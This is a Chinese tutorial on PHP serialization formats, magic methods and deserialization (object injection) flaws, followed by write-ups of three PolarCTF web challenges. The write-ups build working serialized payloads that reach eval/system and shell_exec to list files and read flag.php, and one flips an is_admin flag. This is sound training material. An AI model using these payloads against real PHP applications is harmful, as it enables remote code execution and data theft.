九、序列化与反序列化(待续)
1.靶场搭建
方法一:下载源代码
搭建在phpstudy中即可
方法二:安装Docker Desktop
2.序列化
典例1:不同数据类型的序列化
<?php
highlight_file(__FILE__);
$number = 34;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
echo serialize($number)."<br />";
echo serialize($str)."<br />";
echo serialize($bool)."<br />";
echo serialize($null)."<br />";
echo serialize($arr)."<br />";
?>
i:34;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
这段PHP代码展示了如何使用PHP的 serialize()
函数将不同类型的数据序列化为字符串。序列化是将数据结构或对象状态转换为可以存储或传输的格式的过程。以下是代码的详细解释和输出结果:
代码解析
highlight_file(__FILE__);
这行代码用于高亮显示当前文件的源代码。变量定义
$number = 34;
:定义一个整数变量。$str = 'user';
:定义一个字符串变量。$bool = true;
:定义一个布尔变量。$null = NULL;
:定义一个NULL值变量。$arr = array('a' => 10, 'b' => 200);
:定义一个关联数组。
序列化并输出
使用serialize()
函数将变量序列化为字符串,并通过echo
输出结果。
输出结果
echo serialize($number);
输出:i:34;
解释:i
表示整数(integer),34
是值。echo serialize($str);
输出:s:4:"user";
解释:s
表示字符串(string),4
是字符串长度,"user"
是字符串内容。echo serialize($bool);
输出:b:1;
解释:b
表示布尔值(boolean),1
表示true
(0
表示false
)。echo serialize($null);
输出:N;
解释:N
表示NULL
值。echo serialize($arr);
输出:a:2:{s:1:"a";i:10;s:1:"b";i:200;}
解释:a
表示数组(array),2
是数组元素个数。s:1:"a"
表示键是长度为 1 的字符串"a"
,i:10
表示对应的值是整数10
。s:1:"b"
表示键是长度为 1 的字符串"b"
,i:200
表示对应的值是整数200
。
总结
- 序列化后的字符串格式清晰,便于存储或传输。
- 反序列化时可以使用
unserialize()
函数将字符串还原为原始数据。
<?php
highlight_file(__FILE__);
class TEST {
public $data;
public $data2 = "dazzhuang";
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}
这段PHP代码展示了如何序列化一个包含引用(reference)的类对象。以下是代码的详细解析和输出结果的解释:
典例2:类的序列化
<?php
highlight_file(__FILE__);
class TEST {
public $data;
public $data2 = "dazzhuang";
private $pass;
public function __construct($data, $pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;
echo serialize($test)."<br />";
echo serialize($test2)."<br />";
?>
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}
代码解析
类定义
定义了一个名为TEST
的类,包含以下成员:public $data;
:公共属性。public $data2 = "dazzhuang";
:公共属性,默认值为"dazzhuang"
。private $pass;
:私有属性。
构造函数
__construct
用于初始化$data
和$pass
。对象创建
$test = new TEST('uu', true);
创建一个TEST
对象,$data
被赋值为'uu'
,$pass
被赋值为true
。$test2 = new TEST('uu', true);
创建另一个TEST
对象,初始值与$test
相同。
引用赋值
$test2->data = &$test2->data2;
将$test2->data
设置为$test2->data2
的引用。这意味着修改$test2->data
会同时修改$test2->data2
,反之亦然。
序列化并输出
使用serialize()
函数将对象序列化为字符串,并通过echo
输出结果。
输出结果
echo serialize($test);
输出:O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
解释:
O:4:"TEST"
:表示一个对象,类名为TEST
,长度为 4。3
:对象有 3 个属性。s:4:"data";s:2:"uu"
:属性data
是一个字符串,值为"uu"
。s:5:"data2";s:9:"dazzhuang"
:属性data2
是一个字符串,值为"dazzhuang"
。s:10:"TESTpass";b:1
:私有属性pass
被序列化为TESTpass
,值为布尔值true
。
echo serialize($test2);
输出:O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}
解释:
O:4:"TEST"
:表示一个对象,类名为TEST
,长度为 4。3
:对象有 3 个属性。s:4:"data";s:9:"dazzhuang"
:属性data
是一个字符串,值为"dazzhuang"
(因为$data
是$data2
的引用)。s:5:"data2";R:2
:属性data2
是一个引用(R
),指向序列化字符串中的第 2 个值(即"dazzhuang"
)。s:10:"TESTpass";b:1
:私有属性pass
被序列化为TESTpass
,值为布尔值true
。
关键点
引用(Reference)
- 在 PHP 中,引用允许两个变量指向同一个值。
- 序列化时,引用会被表示为
R
,后面跟着引用的目标位置(如R:2
表示引用第 2 个值)。
私有属性的序列化
- 私有属性在序列化时会被加上类名前缀(如
TESTpass
)。
- 私有属性在序列化时会被加上类名前缀(如
序列化格式
O
:对象。s
:字符串。b
:布尔值。R
:引用。
总结
- 序列化后的字符串可以清晰地表示对象的结构和属性值。
- 引用在序列化中会被特殊处理,使用
R
表示。 - 私有属性在序列化时会加上类名前缀。
注:私有变量与受保护变量的序列化
在 PHP 中,私有属性(private
)和受保护属性(protected
)在序列化时会被特殊处理,它们的名称会被修改以包含类名或特殊字符。这种处理是为了确保属性在反序列化时能够正确地恢复其作用域。
私有变量序列化
\0类名\0属性名
受保护变量序列化
\0*\0属性名
3.反序列化
<?php
// 反序列化数据
$data1 = unserialize('i:34;');
$data2 = unserialize('s:4:"user";');
$data3 = unserialize('b:1;');
$data4 = unserialize('N;');
$data5 = unserialize('a:2:{s:1:"a";i:10;s:1:"b";i:200;}');
// 输出结果
var_dump($data1); // int(34)
var_dump($data2); // string(4) "user"
var_dump($data3); // bool(true)
var_dump($data4); // NULL
var_dump($data5); // array(2) { ["a"]=> int(10) ["b"]=> int(200) }
?>
4.重要概念
序列化与反序列化的概念
序列化就是将对象转换成字符串。字符串包括属性名、属性值、属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
序列化举例:一般ctf题目中我们就是要将对象转化成字符串,而最重要的就是构造属性
反序列化:
php反序列化漏洞又称对象注入 , 可能会导致远程代码执行(RCE)
理解为漏洞执行unserialize函数调用某一类并执行魔术方法之后执行类中的函数,产生安全问题
5.常见的魔术方法
__construct() //对象创建(new)时会自动调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据 包括private或者是不存在的
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发 就是加了括号
__autoload() //在代码中当调用不存在的类时会自动调用该方法。
6.题目复现
题目:[php very nice]
- 题目来源:Polarctf-web-[php very nice]
- 解题:
代码审计
<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){ # 销毁类时自动调用
eval($this->sys); # 将变量sys当做代码执行
}
}
unserialize($_GET['a']); # 将get输入的a进行反序列化
?>
因此利用sys变量构造指令,并将类其进行序列化
<?php
class Example
{
public $sys="system('ls');";
function __destruct(){ # 销毁类时自动调用
eval($this->sys); # 将变量sys当做代码执行
}
}
$a = new Example();
echo serialize($a);
?>
序列化输出结果
O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}
传参
继续构造命令,获取flag.php
文件(多次测试后,发现cat被过滤了,可以用tac/sort)
<?php
class Example
{
public $sys="system('tac flag.php');";
function __destruct(){ # 销毁类时自动调用
eval($this->sys); # 将变量sys当做代码执行
}
}
$a = new Example();
echo serialize($a);
?>
O:7:"Example":1:{s:3:"sys";s:23:"system('tac flag.php');";}
传参得到flag
题目:[PHP反序列化初试]
- 题目来源:polarctf-web-[PHP反序列化初试]
- 解题:
代码审计
<?php
class Easy{
public $name;
public function __wakeup() # unserialize函数被使用时该魔术方法被自动调用
{
echo $this->name;
}
}
class Evil{
public $evil;
private $env;
public function __toString() # 把类当作字符串使用时触发
{
$this->env=shell_exec($this->evil); # 存在RCE
return $this->env;
}
}
if(isset($_GET['easy'])){
unserialize($_GET['easy']);
}else{
highlight_file(__FILE__);
}
# 链子:Easy.__wakeup()->Evil.__toString()
# 个人理解:题目中的unserialize触发__wakeup(),__wakeup()中的"echo $this->name;"触发__toString(),最后RCE
解题脚本
- 查看文件
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env; # 该属性权限改为public,不然序列化时会被解析为Evilenv
}
$a = new Easy();
$b = new Evil();
$a->name = $b;
$b->evil = "ls";
echo serialize($a);
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:3:"env";N;}}
- 查看flag
<?php
class Easy{
public $name;
}
class Evil{
public $evil;
public $env;
}
$a = new Easy();
$b = new Evil();
$a->name = $b;
$b->evil = "tac f*";
echo serialize($a);
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}
题目:[投喂]
- 题目来源:polarctf-web-[投喂]
- 解题:
根据提示需要post传参data
,data
为序列化字符串,序列化对象为User
,包括两个属性:username、is_admin
,其中要求is_admin=true
<?php
class User{
public $username;
public $is_admin=true;
}
$data = new User();
echo serialize($data);
?>
O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}
得到flag